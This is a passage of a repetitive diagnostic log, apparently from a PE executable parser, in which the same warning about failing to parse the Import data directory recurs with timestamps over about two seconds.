level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading 